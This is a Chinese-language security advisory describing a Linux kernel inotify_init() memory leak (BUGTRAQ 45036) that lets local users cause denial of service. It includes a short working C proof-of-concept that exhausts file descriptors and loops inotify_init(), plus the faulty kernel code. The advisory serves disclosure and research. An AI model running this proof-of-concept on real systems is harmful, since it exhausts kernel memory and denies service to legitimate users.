Linux Kernel “inotify_init()”内存泄露本地拒绝服务漏洞
发布日期:2010-11-24
更新日期:2010-11-25
受影响系统:
Linux kernel 2.6.24.3 - 2.6.37
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 45036
Linux Kernel是开放源码操作系统Linux所使用的内核。
Linux Kernel的实现上存在漏洞,本地攻击者可以利用此漏洞引起内存耗尽,导致拒绝服务合法用户。
当无法创建文件描述符时,Inotify没有正确地执行清理操作,导致泄露内核内存。
可以在运行下面的程序时注意“slabtop”:
#include <sys/inotify.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int fds[2];
/* Circumvent max inotify instances limit */
while (pipe(fds) != -1)
;
while (1)
inotify_init();
return 0;
}
问题在于组指示器泄露处的inotify_init1中:
group = inotify_new_group(user, inotify_max_queued_events);
[...]
ret = anon_inode_getfd("inotify", &inotify_fops, group,
O_RDONLY | flags);
if (ret >= 0)
return ret;
atomic_dec(&user->inotify_devs);
out_free_uid:
free_uid(user);
return ret;
<*来源:Vegard Nossum
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Vegard Nossum 提供了如下测试方法:
建议:
--------------------------------------------------------------------------------
厂商补丁:
Linux
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: